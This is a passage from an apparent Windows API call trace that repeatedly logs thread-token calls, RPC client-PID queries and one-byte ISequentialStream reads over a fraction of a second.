pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.352] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.352] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.353] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.353] GetCurrentThread () returned 0xfffffffffffffffe [0147.353] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.353] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.353] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.353] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x5a, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.354] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.354] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.355] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.355] GetCurrentThread () returned 0xfffffffffffffffe [0147.355] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.355] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.355] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.355] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xab, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.355] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.355] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.356] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.357] GetCurrentThread () returned 0xfffffffffffffffe [0147.357] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.357] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.357] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.357] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x89, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.357] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.357] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.358] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.358] GetCurrentThread () returned 0xfffffffffffffffe [0147.358] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.358] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.358] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.358] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x16, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.358] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.358] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.359] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.359] GetCurrentThread () returned 0xfffffffffffffffe [0147.359] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.359] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.360] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.360] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x53, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.360] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.360] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.361] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.361] GetCurrentThread () returned 0xfffffffffffffffe [0147.361] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.361] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.361] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.361] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x9f, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.361] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.361] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.362] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.362] GetCurrentThread () returned 0xfffffffffffffffe [0147.362] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.362] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.362] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.362] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x2d, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.362] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.363] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.363] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.364] GetCurrentThread () returned 0xfffffffffffffffe [0147.364] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.364] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.364] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.364] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x7, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.364] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.364] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.365] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.365] GetCurrentThread () returned 0xfffffffffffffffe [0147.365] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.365] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.365] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.365] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x58, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.365] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.366] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.367] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.367] GetCurrentThread () returned 0xfffffffffffffffe [0147.367] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.367] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.367] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.367] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x5a, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.367] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.367] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.368] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.368] GetCurrentThread () returned 0xfffffffffffffffe [0147.368] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.368] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.368] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.368] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xcd, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.368] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.369] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.369] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.369] GetCurrentThread () returned 0xfffffffffffffffe [0147.369] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.370] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.370] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.370] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x4e, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.370] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.370] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.371] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.371] GetCurrentThread () returned 0xfffffffffffffffe [0147.371] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.371] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.371] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.371] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xb0, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.371] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.371] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.373] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.373] GetCurrentThread () returned 0xfffffffffffffffe [0147.373] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.373] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.373] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.373] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xe8, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.374] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.374] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.375] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.375] GetCurrentThread () returned 0xfffffffffffffffe [0147.375] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.375] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.375] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.375] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x4d, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.375] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.375] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.376] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.376] GetCurrentThread () returned 0xfffffffffffffffe [0147.376] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.376] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.376] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.376] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x18, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.376] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.376] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.377] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.377] GetCurrentThread () returned 0xfffffffffffffffe [0147.377] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.378] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.378] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.378] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x92, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.378] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.378] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.379] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.379] GetCurrentThread () returned 0xfffffffffffffffe [0147.379] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.379] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.379] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.379] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x4c, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.379] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.379] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.389] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.389] GetCurrentThread () returned 0xfffffffffffffffe [0147.389] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.389] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.389] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.389] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xf1, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.390] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.390] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.393] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.393] GetCurrentThread () returned 0xfffffffffffffffe [0147.393] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.393] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.393] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.393] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xfe, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.393] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.393] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.394] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.394] GetCurrentThread () returned 0xfffffffffffffffe [0147.394] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.394] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.394] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.395] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xf1, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.395] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.395] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.396] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.396] GetCurrentThread () returned 0xfffffffffffffffe [0147.396] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.396] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.396] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.397] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x5b, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.397] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.397] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.398] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.398] GetCurrentThread () returned 0xfffffffffffffffe [0147.398] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.398] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.398] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.398] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xf8, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.400] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.400] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.406] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.406] GetCurrentThread () returned 0xfffffffffffffffe [0147.406] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.406] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.406] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.406] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x1e, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.406] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.406] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.407] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.407] GetCurrentThread () returned 0xfffffffffffffffe [0147.407] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.407] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.407] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.408] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x50, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.408] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.408] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.409] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.409] GetCurrentThread () returned 0xfffffffffffffffe [0147.409] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.409] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.409] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.409] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xdb, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.409] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.409] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.413] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.413] GetCurrentThread () returned 0xfffffffffffffffe [0147.413] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.413] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.413] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.413] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x16, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.413] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.413] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.414] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.414] GetCurrentThread () returned 0xfffffffffffffffe [0147.414] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.414] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.415] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.415] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x2d, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.415] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.415] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.417] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.417] GetCurrentThread () returned 0xfffffffffffffffe [0147.417] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.417] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.417] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.417] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x34, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.417] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.417] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.418] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.418] GetCurrentThread () returned 0xfffffffffffffffe [0147.418] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.418] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.418] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.419] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x9b, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.419] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.419] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.420] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.420] GetCurrentThread () returned 0xfffffffffffffffe [0147.420] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.420] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.421] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.421] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x17, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.421] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.421] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.422] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.422] GetCurrentThread () returned 0xfffffffffffffffe [0147.422] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.422] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.422] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.422] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x36, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.422] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.422] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.423] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.423] GetCurrentThread () returned 0xfffffffffffffffe [0147.423] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.423] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.423] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.423] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xe9, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.424] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.424] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.425] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.425] GetCurrentThread () returned 0xfffffffffffffffe [0147.425] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.425] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.425] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.426] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x61, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.426] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.426] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.427] SetThreadToken (Thread=0x0, 